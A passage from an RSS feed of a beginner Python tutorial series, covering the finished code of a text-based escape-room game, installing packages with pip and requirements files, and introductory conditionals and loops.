to this point. I didn’t just sneeze and suddenly an epiphany landed on my keyboard. Not a chance…</p><p>The full code at this point is rather long and looks like this:</p><pre>GREETING = &#39;&#39;&#39;<br>Good morning, sleepy head. You likely don&#39;t remember what happened, but<br>I can tell you this much: You are stuck inside this room. Can you escape?<br>Try looking around, and remember if you get stuck, you can always call for <br>help by typing &quot;help&quot;.<br><br>Good luck!<br>&#39;&#39;&#39;<br><br>print(GREETING)<br>action = &#39;&#39;<br><br><br>class InteractableObject():<br>    def inspect(self):<br>        print(f&#39;Just {self.__str__()}.&#39;)<br>    <br>    def take(self):<br>        print(f&quot;You can&#39;t take {self.__str__()}.&quot;)<br><br>    def use(self):<br>        print(f&quot;You can&#39;t use {self.__str__()}.&quot;)<br>    <br>    def open(self):<br>        print(f&quot;You can&#39;t open {self.__str__()}.&quot;)<br>    <br>    def __str__(self):<br>        print(&#39;an unknown object&#39;)<br><br><br>class HasContent():<br>    contents = []<br><br>    def get_object(self, str_reference):<br>        for obj in self.contents:<br>            if str_reference in str(obj):<br>                return obj<br>    <br>    def add_object(self, obj):<br>        self.contents.append(obj)<br>    <br>    def remove_object(self, obj):<br>        if obj in self.contents:<br>            self.contents.remove(obj)<br><br>        return obj<br><br><br>class Key(InteractableObject):<br>    pin_stack = None<br><br>    def __init__(self, pin_stack):<br>        self.pin_stack  = pin_stack<br><br>    def __str__(self):<br>        return &#39;a key&#39;<br><br><br>class Note(InteractableObject):<br>    note = None<br><br>    def __init__(self, note):<br>        self.note = note<br>    <br>    def inspect(self):<br>        print(f&#39;The note reads &quot;{self.note}&quot;.&#39;)<br><br>    def __str__(self):<br>        return &#39;a note&#39;<br><br><br>class Cabinet(InteractableObject, HasContent):<br>    contents = [Note(&#39;42&#39;)]<br><br>    locked = True<br>    key_hole = &#39;2311&#39;<br><br>    def unlock(self, key):<br>        if key.pin_stack == self.key_hole:<br>            self.locked = False<br><br>    def __str__(self):<br>        if self.locked:<br>            return &#39;a locked cabinet&#39;<br>        else:<br>            return &#39;an unlocked cabinet&#39;<br><br><br>class Desk(InteractableObject, HasContent):<br>    def __str__(self):<br>        return &#39;a cluttered desk&#39;<br><br><br>class Painting(InteractableObject):<br>    def __str__(self):<br>        return &#39;a painting&#39;<br><br><br>class Door(InteractableObject):<br>    locked = True<br>    pin = &#39;4209&#39;<br><br>    def unlock(self, code):<br>        if code == self.pin:<br>            self.locked = False<br>        return not self.locked  # True if unlocked, False otherwise<br>    <br>    def __str__(self):<br>        return &#39;a door&#39;<br><br><br>class Pockets(InteractableObject, HasContent):<br>    contents = [<br>        # Initially empty<br>    ]<br><br>    def inspect(self):<br>        in_pockets = &#39;, &#39;.join([str(obj) for obj in self.contents])<br>        <br>        if len(self.contents) == 0:<br>            in_pockets = &#39;nothing&#39;<br><br>        print(f&#39;In your pockets are: {in_pockets}.&#39;)<br>    <br>    def __str__(self):<br>        return &#39;your pockets&#39;<br><br><br>class Room(HasContent):<br>    contents = [<br>       Cabinet(),<br>       Desk(),<br>       Painting(),<br>       Door(),<br>       Pockets()<br>    ]<br><br><br>def look_around(room):<br>    contents = &#39;, &#39;.join([str(obj) for obj in room.contents])<br>    print(f&#39;You see {contents}.&#39;)<br><br>def get_help():<br>    print(&#39;Here are the things you can do:&#39;)<br>    print(&#39;look around, inspect, take, use, open, quit&#39;)<br><br>def handle_take(action, context, pockets):<br>    action_components = action.split()<br>    obj_to_take = action_components[-1]  # e.g., &quot;cabinet&quot;<br>    obj = context.get_object(obj_to_take)<br><br>    if obj is None:<br>        print(f&quot;There is no {obj_to_take} here.&quot;)<br>        return<br>    else:<br>        obj_description = &#39; &#39;.join(f&#39;{obj}&#39;.split()[1:])<br>        context.remove_object(obj)<br>        pockets.add_object(obj)<br>        print(f&quot;You took the {obj_description} put it in your pockets.&quot;)<br><br>room = Room()<br>latest_context = room<br>pockets = Pockets()<br><br>while action != &#39;quit&#39;:<br>    action = input(&#39;What do you want to do?\n&gt; &#39;).lower().strip()<br><br>    if action == &#39;look around&#39;:<br>        look_around(room)<br><br>    elif action.startswith(&#39;take&#39;):<br>        handle_take(action, latest_context, pockets)<br><br>    elif action.startswith(&#39;inspect&#39;):<br>        obj_to_inspect = action.split(&#39; &#39;)[-1]<br><br>        found_item = latest_context.get_object(obj_to_inspect)<br><br>        if found_item is None:<br>            # Always be able to inspect items in the room<br>            found_item = room.get_object(obj_to_inspect)<br><br>        if found_item is None:<br>            print(&#39;This item does not exist in here.&#39;)<br>            continue<br><br>        if isinstance(found_item, HasContent):<br>            latest_context = found_item<br><br>        found_item.inspect()<br><br>    elif action == &#39;help&#39;:<br>        get_help()<br>    else:<br>        print(&#39;You cannot do that.&#39;)</pre><p>So what can we do at this point?</p><ol><li>We can look around.</li><li>We can inspect all items in the room.</li><li>We can inspect a cabinet and have “our context” change, allowing us to take items from within the cabinet.</li><li>We can take items and put them in our pockets.</li></ol><p>What do we still need to be able to do? Lots of smaller things.</p><ul><li>Be able to unlock the cabinet with a key, i.e., we need to a way to use key on cabinet to changes its locked state.</li><li>Implement open on Cabinet and Door for when they have been unlocked.</li><li>Prevent taking the note if the cabinet is locked and/or not open (or if easier prevent the latest_context to change to cabinet if it is locked/closed).</li><li>Implement the cluttered desk and add a Key which matches the cabinet key hole.</li><li>Add a UV flashlight and put it on the desk.</li><li>Allow use uv flashlight on painting and narrate that “you shine the light on the painting which reveals the numbers 09” or similar.</li><li>Unlock the door and open it to win the game.</li></ul><h4>Finishing up Cabinet</h4><p>Let’s start by finishing up the Cabinet class. It should have an “open if unlocked” function and an “unlock” function. The take action should also only allow the user to take the note, if the cabinet is open (and thus unlocked).</p><p>Take a moment to look at the current implementation of Cabinet and think about how you would implement these new features of the cabinet.</p><pre>class Cabinet(InteractableObject, HasContent):<br>    contents = [Note(&#39;42&#39;)]<br><br>    locked = True<br>    key_hole = &#39;2311&#39;<br><br>    def unlock(self, key):<br>        if key.pin_stack == self.key_hole:<br>            self.locked = False<br><br>    def __str__(self):<br>        if self.locked:<br>            return &#39;a locked cabinet&#39;<br>        else:<br>            return &#39;an unlocked cabinet&#39;</pre><p>Meanwhile let’s add a key to the desk:</p><pre>class Desk(InteractableObject, HasContent):<br>    contents = [<br>        Key(&#39;2311&#39;),<br>    ]<br><br>    def __str__(self):<br>        return &#39;a cluttered desk&#39;</pre><p>Here’s how I implemented the new functionality in the Cabinet class:</p><pre>class Cabinet(InteractableObject, HasContent):<br>    contents = [Note(&#39;42&#39;)]<br><br>    locked = True<br>    opened = False<br>    key_hole = &#39;2311&#39;<br><br>    def unlock(self, key):<br>        if key.pin_stack == self.key_hole:<br>            self.locked = False<br>            print(&#39;You have unlocked the cabinet.&#39;)<br><br>    def open(self):<br>        if not self.locked:<br>            self.opened = True<br>        print(f&#39;The cabinet is {&quot;open&quot; if not self.locked else &quot;locked&quot;}&#39;)<br><br>    def __str__(self):<br>        if self.locked:<br>            return &#39;a locked cabinet&#39;<br>        else:<br>            return f&#39;an {&quot;open&quot; if not self.locked else &quot;unlocked&quot;} cabinet&#39;</pre><p>I added a opened = False instance variable and overloaded the open function. I also changed the string-representation a little. The new syntax is an inline conditional statement and does exactly what it reads as, in plain English.</p><p>Now we’re ready to implement the use action so we can actually unlock the cabinet.</p><pre>class Cabinet(InteractableObject, HasContent):<br># [...]<br>    def use(self, item):<br>        if isinstance(item, Key):<br>            self.unlock(item)<br>        else:<br>            print(&#39;Nothing happens...&#39;)</pre><p>I decided to also overload the inspect function in the Cabinet class to also print the items it contains, if it is open. This involved tweaking the __str__ function slightly, too.</p><pre># Cabinet functions:<br>    def inspect(self):<br>        print(f&#39;{self.__str__()}.&#39;)<br>        if self.opened and len(self.contents) &gt; 0:<br>            print(f&#39;It contains {&quot;, &quot;.join([str(i) for i in self.contents])}.&#39;)<br><br>    def __str__(self):<br>        if self.locked:<br>            return &#39;A locked cabinet&#39;<br>        else:<br>            return f&#39;An {&quot;open&quot; if not self.locked else &quot;unlocked&quot;} cabinet&#39;</pre><p>We should do the same for Desk which now looks like this:</p><pre>class Desk(InteractableObject, HasContent):<br>    contents = [<br>        Key(&#39;2311&#39;),<br>    ]<br><br>    def inspect(self):<br>        print(f&#39;{self.__str__()}.&#39;)<br>        print(f&#39;It contains {&quot;, &quot;.join([str(i) for i in self.contents])}.&#39;)<br><br><br>    def __str__(self):<br>        return &#39;A cluttered desk&#39;</pre><p>The last part of the puzzle is having a UVFlashlight class that, when used on the painting, reveals the last puzzle. This class doesn’t have to be very complex as we can simply just test in the use function of Painting if the item that is used on it isinstance of UVFlashlight and only if the print the final two digits.</p><p>The UVFlashlight class:</p><pre>class UVFlashlight(InteractableObject):<br>    def __str__(self):<br>        return &#39;a UV flashlight&#39;</pre><p>The Painting class:</p><pre>class Painting(InteractableObject):<br><br>    def use(self, item):<br>        if isinstance(item, UVFlashlight):<br>            print(&#39;You use the UV Flashlight to examine the painting.&#39;)<br>            print(&#39;Two digits show up in the corner of the painting: 09&#39;)<br>        else:<br>            print(&#39;Nothing happens...&#39;)<br><br>    def __str__(self):<br>        return &#39;a painting&#39;</pre><p>Now we have all of the information we need to unlock the door and win the game!</p><h4>Final polishing</h4><p>When we look around the text capitalization is mixed unless we call lower on the contents.</p><pre>def look_around(room):<br>    contents = &#39;, &#39;.join([str(obj) for obj in room.contents])<br>    print(f&#39;You see {contents.lower()}.&#39;)</pre><p>Small tweak to describe the locked state of the Door:</p><pre>    def __str__(self):<br>        return f&#39;a{&quot;n unlocked&quot; if not self.locked else &quot; locked&quot;} door&#39;</pre><h4>The final, full code</h4><p>…looks like this:</p><pre>GREETING = &#39;&#39;&#39;<br>Good morning, sleepy head. You likely don&#39;t remember what happened, but<br>I can tell you this much: You are stuck inside this room. Can you escape?<br>Try looking around, and remember if you get stuck, you can always call for <br>help by typing &quot;help&quot;.<br><br>Good luck!<br>&#39;&#39;&#39;<br><br>print(GREETING)<br>action = &#39;&#39;<br><br><br>class InteractableObject():<br>    def inspect(self):<br>        print(f&#39;Just {self.__str__()}.&#39;)<br>    <br>    def take(self):<br>        print(f&quot;You can&#39;t take {self.__str__()}.&quot;)<br><br>    def use(self):<br>        print(f&quot;You can&#39;t use {self.__str__()}.&quot;)<br>    <br>    def open(self):<br>        print(f&quot;You can&#39;t open {self.__str__()}.&quot;)<br>    <br>    def __str__(self):<br>        print(&#39;an unknown object&#39;)<br><br><br>class HasContent():<br>    contents = []<br><br>    def get_object(self, str_reference):<br>        for obj in self.contents:<br>            if str_reference in str(obj):<br>                return obj<br>    <br>    def add_object(self, obj):<br>        self.contents.append(obj)<br>    <br>    def remove_object(self, obj):<br>        if obj in self.contents:<br>            self.contents.remove(obj)<br><br>        return obj<br><br>class Key(InteractableObject):<br>    pin_stack = None<br><br>    def __init__(self, pin_stack):<br>        self.pin_stack  = pin_stack<br><br>    def __str__(self):<br>        return &#39;a key&#39;<br><br>class UVFlashlight(InteractableObject):<br>    def __str__(self):<br>        return &#39;a UV flashlight&#39;<br><br><br>class Note(InteractableObject):<br>    note = None<br><br>    def __init__(self, note):<br>        self.note = note<br>    <br>    def inspect(self):<br>        print(f&#39;The note reads &quot;{self.note}&quot;.&#39;)<br><br>    def __str__(self):<br>        return &#39;a note&#39;<br><br><br>class Cabinet(InteractableObject, HasContent):<br>    contents = [Note(&#39;42&#39;)]<br><br>    locked = True<br>    opened = False<br>    key_hole = &#39;2311&#39;<br><br>    def unlock(self, key):<br>        if key.pin_stack == self.key_hole:<br>            self.locked = False<br>            print(&#39;You have unlocked the cabinet.&#39;)<br><br>    def open(self):<br>        if not self.locked:<br>            self.opened = True<br>        print(f&#39;The cabinet is {&quot;open&quot; if not self.locked else &quot;locked&quot;}&#39;)<br><br>    def use(self, item):<br>        if isinstance(item, Key):<br>            self.unlock(item)<br>        else:<br>            print(&#39;Nothing happens...&#39;)<br><br>    def inspect(self):<br>        print(f&#39;{self.__str__()}.&#39;)<br>        if self.opened and len(self.contents) &gt; 0:<br>            print(f&#39;It contains {&quot;, &quot;.join([str(i) for i in self.contents])}.&#39;)<br><br>    def __str__(self):<br>        if self.locked:<br>            return &#39;A locked cabinet&#39;<br>        else:<br>            return f&#39;An {&quot;open&quot; if not self.locked else &quot;unlocked&quot;} cabinet&#39;<br><br><br>class Desk(InteractableObject, HasContent):<br>    contents = [<br>        Key(&#39;2311&#39;),<br>        UVFlashlight()<br>    ]<br><br>    def inspect(self):<br>        print(f&#39;{self.__str__()}.&#39;)<br>        print(f&#39;It contains {&quot;, &quot;.join([str(i) for i in self.contents])}.&#39;)<br><br><br>    def __str__(self):<br>        return &#39;A cluttered desk&#39;<br><br><br>class Painting(InteractableObject):<br><br>    def use(self, item):<br>        if isinstance(item, UVFlashlight):<br>            print(&#39;You use the UV Flashlight to examine the painting.&#39;)<br>            print(&#39;Two digits show up in the corner of the painting: 09&#39;)<br>        else:<br>            print(&#39;Nothing happens...&#39;)<br><br>    def __str__(self):<br>        return &#39;a painting&#39;<br><br><br>class Door(InteractableObject):<br>    locked = True<br>    pin = &#39;4209&#39;<br><br>    def unlock(self, code):<br>        if code == self.pin:<br>            self.locked = False<br>            print(&#39;You unlock the door.&#39;)<br>        else:<br>            print(&#39;Wrong pin-code. The door remains locked.&#39;)<br>        return not self.locked  # True if unlocked, False otherwise<br><br>    def open(self):<br>        if not self.locked:<br>            print(&#39;\nYou open the door and escape the room.&#39;)<br>            print(&#39;Congratulations, you win!&#39;)<br>            exit()  # Close the game.<br>        else:<br>            print(&#39;The door is locked.&#39;)<br>    <br>    def __str__(self):<br>        return f&#39;a{&quot;n unlocked&quot; if not self.locked else &quot; locked&quot;} door&#39;<br><br><br>class Pockets(InteractableObject, HasContent):<br>    contents = [<br>        # Initially empty<br>    ]<br><br>    def inspect(self):<br>        in_pockets = &#39;, &#39;.join([str(obj) for obj in self.contents])<br>        <br>        if len(self.contents) == 0:<br>            in_pockets = &#39;nothing&#39;<br><br>        print(f&#39;In your pockets are: {in_pockets}.&#39;)<br><br>    def __str__(self):<br>        return &#39;Your pockets&#39;<br><br><br>class Room(HasContent):<br>    contents = [<br>        Cabinet(),<br>        Desk(),<br>        Painting(),<br>        Door(),<br>        Pockets()<br>    ]<br><br><br>def look_around(room):<br>    contents = &#39;, &#39;.join([str(obj) for obj in room.contents])<br>    print(f&#39;You see {contents.lower()}.&#39;)<br><br>def get_help():<br>    print(&#39;Here are the things you can do:&#39;)<br>    print(&#39;look around, inspect, take, use, open, enter code, quit&#39;)<br><br>def handle_take(action, context, pockets):<br>    action_components = action.split()<br>    obj_to_take = action_components[-1]  # e.g., &quot;cabinet&quot;<br>    obj = context.get_object(obj_to_take)<br><br>    if obj is None:<br>        print(f&quot;There is no {obj_to_take} here.&quot;)<br>        return<br>    else:<br>        obj_description = &#39; &#39;.join(f&#39;{obj}&#39;.split()[1:])<br>        context.remove_object(obj)<br>        pockets.add_object(obj)<br>        print(f&quot;You took the {obj_description} put it in your pockets.&quot;)<br><br><br>room = Room()<br>latest_context = room<br>pockets = Pockets()<br><br>while action != &#39;quit&#39;:<br>    action = input(&#39;What do you want to do?\n&gt; &#39;).lower().strip()<br><br>    if action == &#39;look around&#39;:<br>        look_around(room)<br><br>    elif action.startswith(&#39;take&#39;):<br>        handle_take(action, latest_context, pockets)<br><br>    elif action.startswith(&#39;inspect&#39;):<br>        obj_to_inspect = action.split(&#39; &#39;)[-1]<br><br>        found_item = latest_context.get_object(obj_to_inspect)<br><br>        if found_item is None:<br>            # Always be able to inspect items in the room<br>            found_item = room.get_object(obj_to_inspect)<br><br>        if found_item is None:<br>            print(&#39;This item does not exist in here.&#39;)<br>            continue<br><br>        if isinstance(found_item, HasContent):<br>            latest_context = found_item<br><br>        found_item.inspect()<br><br>    elif action.startswith(&#39;use&#39;):<br>        # use X on Y<br>        action_tokens = action.split(&#39; &#39;)<br>        use_item = pockets.get_object(action_tokens[1])<br>        use_on = room.get_object(action_tokens[-1])<br><br>        if use_item is None:<br>            # Note the use of &quot;&quot; here, so we can write &quot;don&#39;t&quot;<br>            print(f&quot;You don&#39;t have a {use_item} in your pockets.&quot;)<br>            continue<br><br>        if use_on is None:<br>            print(f&quot;There&#39;s no {use_on} in the room.&quot;)<br>            continue<br><br>        use_on.use(use_item)<br><br>    elif action.startswith(&#39;enter code&#39;):<br>        action_tokens = action.split(&#39; &#39;)<br>        pin = action_tokens[-1]<br>        door = room.get_object(&#39;door&#39;)<br><br>        door.unlock(pin)<br><br>    elif action.startswith(&#39;open&#39;):<br>        action_tokens = action.split(&#39; &#39;)<br>        open_item = room.get_object(action_tokens[-1])<br>        open_item.open()<br><br>    elif action == &#39;help&#39;:<br>        get_help()<br>    else:<br>        print(&#39;You cannot do that.&#39;)</pre><p>Our first (potentially) Python program. Hundreds of lines of code. But also split into many small chunks that make it very easy to work with and use.</p><h3>Wrapping up</h3><p>In this part we have used all of the tricks we have learned so far to create actual, working code — and what a fun project! In the next part we will look at some of the more advanced parts of Python programming that I believe all beginners should know about.</p><p>See you in the next one!</p><h3>Navigation</h3><p>Previous Chapter</p><p><a href="https://localnest.xyz/python-essentials-part-3-using-external-libraries-0a2cf37c6028">Python Essentials, Part 3: Using external libraries</a></p><p>Next Chapter</p><p><em>Coming soon: wrapping up the fundamentals.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=18d39c7a5d34" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Python Essentials, Part 3: Using external libraries]]></title>
            <link>https://medium.com/@0xbirb/python-essentials-part-3-using-external-libraries-0a2cf37c6028?source=rss-f61ffb42a618------2</link>
            <guid isPermaLink="false">https://medium.com/p/0a2cf37c6028</guid>
            <category><![CDATA[beginner]]></category>
            <category><![CDATA[training]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Birb]]></dc:creator>
            <pubDate>Thu, 25 Jul 2024 13:41:56 GMT</pubDate>
            <atom:updated>2024-07-28T13:11:50.773Z</atom:updated>
            <cc:license>https://creativecommons.org/licenses/by-nc/4.0/</cc:license>
            <content:encoded><![CDATA[<h4>Don’t reinvent; reuse.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*9fOaNJyYKtjYKUcqV157gw.png" /></figure><h3>Previously</h3><p>In the previous article we learned about some of the control structures in Python, conditional statements and loops, we learned a thing or two about lists and working with lists and a whole lot about functions and classes. And named parameters vs. positional parameters not to forget. We also learned about the peculiar self and with and how to use them and even how to overload our own dunder methods so that we can create more Pythonic code. With all this knowledge in our bags we are almost ready to start writing useful Python code.</p><h3>Libraries — or rather packages and modules</h3><p>Having to invent the wheel for everything over and over again is counter productive and it is likely no surprise that it is possible to use code that other people or organizations have created and maintain. When this code is bundled together as “a thing” we call it a library.</p><p>The term “library” is often used loosely perhaps because it as a generic term is generally understood the same way regardless of programming language. In Python we more precisely work with <em>packages </em>and<em> modules</em> when we colloquially say “libraries”. One of the major providers of python packages — or “external libraries” in common tongue — is <a href="https://pypi.org/">pypi.org</a>.</p><p>In Python a module is one single .py file. A module can contain multiple classes and often do. A package can bundle multiple modules together into a distributable, well, package for us to install and use in our code. Thus the hierarchy goes something like this:</p><ol><li>Package</li><li>Modules</li><li>Functions and classes within modules</li><li>Functions within classes</li></ol><p>Later we will explore how to install new packages. First, let’s try to import and use a module which is already bundled with the default installation.</p><h4>The datetime module</h4><p>To import a module we simply type import followed by the module name. We can also rename the module by adding an as after the name. For example:</p><pre>import datetime<br>import random as r</pre><p>The random module is a module that helps us produce and use randomness. If we ever needed a random integer between 0 and 10, we would import random and call randint(0, 10) on the module. In this example we <em>renamed</em> the module reference as r so to get a random integer between 0 and 10 we would call r.randint(0, 10).</p><pre>&gt;&gt;&gt; import random as r<br>&gt;&gt;&gt; r.randint(0, 10)<br>9</pre><p>We can also import specific functions or classes from the module such as randint if all we cared about was just that one function, and we had no problem telling this function name apart from functions we wrote ourselves. You see, sometimes it can be advantageous to use r.randint over just randint because it helps tell the reader of your code that this function is from a different module.</p><p>To import a function (or class) directly from a module instead of the whole module, we use this syntax:</p><pre>from random import randint<br><br># We can also rename the function with the &quot;as&quot; keyword:<br># from random import randint as random_int<br># random_int(0,5)</pre><h4>Installing packages</h4><p>One of the more popular Python packages is called BeautifulSoup. BeautifulSoup is a package containing modules which makes it easy to work with and parse HTML pages, among other things. If we for example wanted to get all URLs in an article we found online, we could load the HTML into BeautifulSoup and easily query the resulting object to get the URLs. Let’s try installing and using this package.</p><p>We can install it using pip which typically comes bundled with Python.</p><pre>pip install beautifulsoup4</pre><p>The output of running this commands depends on whether you have installed BeautifulSoup before and a range of other conditions. I have already once before installed the package, so my output is telling us that it is using cached files. Yours may need to download the files first.</p><pre>Collecting beautifulsoup4<br>  Using cached beautifulsoup4-4.12.3-py3-none-any.whl.metadata (3.8 kB)<br>Collecting soupsieve&gt;1.2 (from beautifulsoup4)<br>  Using cached soupsieve-2.5-py3-none-any.whl.metadata (4.7 kB)<br>Using cached beautifulsoup4-4.12.3-py3-none-any.whl (147 kB)<br>Using cached soupsieve-2.5-py3-none-any.whl (36 kB)<br>Installing collected packages: soupsieve, beautifulsoup4<br>Successfully installed beautifulsoup4-4.12.3 soupsieve-2.5</pre><p>To update a package we can run:</p><pre>pip install --upgrade PACKAGE_NAME</pre><p>for example</p><pre>pip install --upgrade beautifulsoup4</pre><p>To uninstall beautifulsoup4 we can type</p><pre>pip uninstall beautifulsoup4</pre><p>and to list all installed packages with can use the freeze command with pip:</p><pre>pip freeze<br>absl-py==2.1.0<br>aiohttp==3.9.5<br>aiosignal==1.3.1<br>annotated-types==0.6.0<br>ansi==0.3.6<br>anyascii==0.3.2<br>anyio==4.3.0<br>async-timeout==4.0.3<br>[...]</pre><p><em>Note: your own list is likely different.</em></p><h4>Managing multiple packages</h4><p>Say we wanted to work together with somebody on a project. Having to tell them — or having them guess — which individual packages they need to install will become tedious as the project grows. Instead we can create a “requirements file” which essentially is just a list of package names and their versions, if a specific version is required.</p><p>Let’s look at an example requirements file requirements.txt:</p><pre>beautifulsoup4<br>requests</pre><p>We can then install all requirements in the file by using the -r flag for pip:</p><pre>pip install -r requirements.txt</pre><p>We can also specify specific version by using the following operators:</p><ul><li>== matches a specific version for example beautifulsoup4==4.12.3</li><li>&lt;= matches versions that are earlier or exactly the specified</li><li>&gt;= matches version that are greater or exactly the specified</li><li>&lt; matches version that are earlier than the one specified, e.g, beautifulsoup4&lt;5.0.0 to automatically get the latest version below major version 5.</li><li>&gt; does the same, but for version greater than the specified, i.e. we can set a minimum version</li></ul><p>Typically only == are used to freeze certain versions and avoid risking the code breaking because a dependency was updated, and &lt; to always get the latest version of a major release, but not to update to the major release before we are ready.</p><p>If we for example update the requirements.txt file to this</p><pre>beautifulsoup4&lt;5.0.0<br>requests==2.32.1</pre><p>we will see that the requests package version 2.32.1 will be downloaded and installed:</p><pre>Downloading requests-2.32.1-py3-none-any.whl (63 kB)<br>   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 63.7/63.7 kB 3.3 MB/s eta 0:00:00<br>Installing collected packages: requests<br>  Attempting uninstall: requests<br>    Found existing installation: requests 2.31.0<br>    Uninstalling requests-2.31.0:<br>      Successfully uninstalled requests-2.31.0<br>Successfully installed requests-2.32.1</pre><p>However the latest version is 2.32.2, so let’s update the version in requirements.txt to 2.32.2 and confirm that 2.32.1 is uninstalled and 2.32.2 is installed instead:</p><pre>Downloading requests-2.32.2-py3-none-any.whl (63 kB)<br>   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 63.9/63.9 kB 3.6 MB/s eta 0:00:00<br>Installing collected packages: requests<br>  Attempting uninstall: requests<br>    Found existing installation: requests 2.32.1<br>    Uninstalling requests-2.32.1:<br>      Successfully uninstalled requests-2.32.1<br>Successfully installed requests-2.32.2</pre><p>This conclused what I want to say about package management for now. There are many better ways to manage Python packages than installing them directly on the machine with pip, but I will save that for another time. Instead I think it’s time to dig into our very first programing project together and actually write some code.</p><p>See you in the next one.</p><h3>Navigation</h3><p>Previous part:</p><p><a href="https://localnest.xyz/python-essentials-part-2-control-structures-functions-and-classes-8c941b7fcd6b">Python Essentials, Part 2: Control structures, functions, and classes</a></p><p>Next part:</p><p><a href="https://localnest.xyz/python-essentials-part-4-hands-on-programming-and-how-to-improve-it-18d39c7a5d34">Python Essentials, Part 4: Hands-on programming and how to improve it</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0a2cf37c6028" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Python Essentials, Part 2: Control structures, functions, and classes]]></title>
            <link>https://medium.com/@0xbirb/python-essentials-part-2-control-structures-functions-and-classes-8c941b7fcd6b?source=rss-f61ffb42a618------2</link>
            <guid isPermaLink="false">https://medium.com/p/8c941b7fcd6b</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[training]]></category>
            <category><![CDATA[beginner]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Birb]]></dc:creator>
            <pubDate>Wed, 24 Jul 2024 23:33:12 GMT</pubDate>
            <atom:updated>2024-07-28T13:44:01.472Z</atom:updated>
            <cc:license>https://creativecommons.org/licenses/by-nc/4.0/</cc:license>
            <content:encoded><![CDATA[<h4>The foundations of efficient and modular code.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*9fOaNJyYKtjYKUcqV157gw.png" /></figure><h3>Previously</h3><p>In the previous article we learned the most fundamental first steps in Python programming. We learned how to execute code in a file and using the IDLE, we learned about variables and some common types, and we briefly touched upon calling functions. In the advanced section we got to taste what “dunder methods” are and how some of these can change the behavior of operators commonly used in math. We will learn more about these at a later point.</p><h3>Control structures</h3><p>We kick off this part with a fancy term. Control structure is as the name implies the structure of the code, which controls the flow of execution. Imagine that you’re walking down a hallway and then see two doors. One door labeled “exit” is blue, the other door labeled “storage” is purple. You <em>must</em> enter one of the two doors, but which door do you enter? In code this is decided by control structure. The reasons for picking the blue door and not the purple could be based on where you want to go. <em>If</em> you want to fetch cleaning supplies you pick the purple door, <em>else </em>you pick the blue door and leave the building.</p><h4>Conditional statements</h4><p>In Python, this <em>if/else</em> control structure that we explored as an analogy looks like this:</p><pre>if some_condition:<br>    pass  # Some action<br>else:<br>    pass  # Another action</pre><p>The some_condition is a boolean expression which can be evaluated to either True or False. Sometimes even numbers 1 and 0 are used or even the presence of a value such as &#39;Cake&#39; (a string) vs. None (meaning “nothingness”). This is bad practice though, but it does happen. Something to beware of but not repeat.</p><p>Another thing to note is the <em>indentation</em>. Four spaces are most commonly used, but Python does support one tab-character as an alternative. Mixing the two is never allowed (Python will give you an error) and I highly recommend using four spaces per indentation. Indentation is used whenever the code “enters a new scope”, e.g., usually after the : character. Scopes define “local areas” in the code where certain constraints and limitations apply. This is slightly too advanced still — we will return to this later — but it’s worth mentioning. Just keep in mind to always add four spaces on the line below if: and else:.</p><p>Coming back to the hallway, we can loosely code the blue/purple door scenario like so:</p><pre># Let&#39;s suppose a variable pick_up_cleaning_supplies exists and is True.<br>pick_up_cleaning_supplies = True<br><br>if pick_up_cleaning_supplies:<br>    print(&#39;I picked up paper towels.&#39;)<br>else:<br>    print(&#39;No supplies needed. We will head home instead!&#39;)</pre><blockquote><strong><em>Exercise:</em></strong><em> <br>Try running this Python in either a file. What is the output? Was this surprising? What if you change the variable to </em><em>False? What if you change it to </em><em>&#39;No.&#39;?</em></blockquote><p>You can use the IDLE too if you prefer, but please do note that when the code gets slightly less trivial, using the IDLE becomes trickier than just writing the code in a file and running the script in the terminal.</p><p>Now what if there we three doors? Or four doors? A third keyword can be used in between if and else : the elif or “else if” in plain English. We can add an infinite number of elif blocks — we really shouldn’t, but we could — which each has its own condition. It’s worth noting that the <em>conditional statements</em> as these are called attempt to find the one and only block of code to run. As soon as one condition is true, the remaining checks will be skipped entirely. Let’s try to rewrite the door code and add a third door.</p><pre># We use the name of a color to determine what code to run.<br>door = &#39;orange&#39;<br><br>if door == &#39;purple&#39;:<br>    print(&#39;Entered the storage room.&#39;)<br><br>elif door == &#39;orange&#39;:<br>    print(&#39;Entered the kitchen.&#39;)<br><br>elif door == &#39;blue&#39;:<br>    print(&#39;Left the building. Bye!&#39;)<br><br>else:<br>    print(&#39;No doors matched. :(&#39;</pre><blockquote><strong><em>Exercise:<br></em></strong><em>Update your code to the above example and run it. Where did we end up? Try changing the color to </em><em>&#39;BLUE&#39;. Did we leave the building?</em></blockquote><p>As you might have guessed by now strings in Python are case sensitive. As such, &#39;cake&#39; is not the same value as &#39;CAKE&#39; nor as &#39;cake &#39; with an added space at the end.</p><p>Congratulations, you’ve now mastered Artificial Intelligence! Just kidding of course, it’s an old programming joke about how “AI” is not new because we’ve had if/else logic for decades.</p><h4>While loops</h4><p>A while-loop is like a repeating command that keeps doing something as long as a certain condition is true. If you write while True: it will keep going forever, and if you write while False it will never run at all.</p><p>Let’s consider a simple example:</p><pre>counter = 1<br><br>while counter &lt; 10:<br>    print(counter)<br>    counter = counter + 1</pre><blockquote><strong><em>Exercise:<br></em></strong><em>Take a guess of what would happen if you were to run this code. Confirm your guess by actually running it and seeing what happens.</em></blockquote><p>Inside the loop, we need to make sure to increase the counter by at least one each time we go through it. If we forget to do that, the loop will just keep going and going until you stop the script forcefully for example by hitting Ctrl+C in the terminal where the script is running.</p><h4>Lists</h4><p>We can also do something “for each element” in a collection, for example for each string in a <em>list</em>. We have only briefly seen lists so as a refresher, here is another example:</p><pre>fruits = [&#39;Apple&#39;, &#39;Banana&#39;, &#39;Orange&#39;, 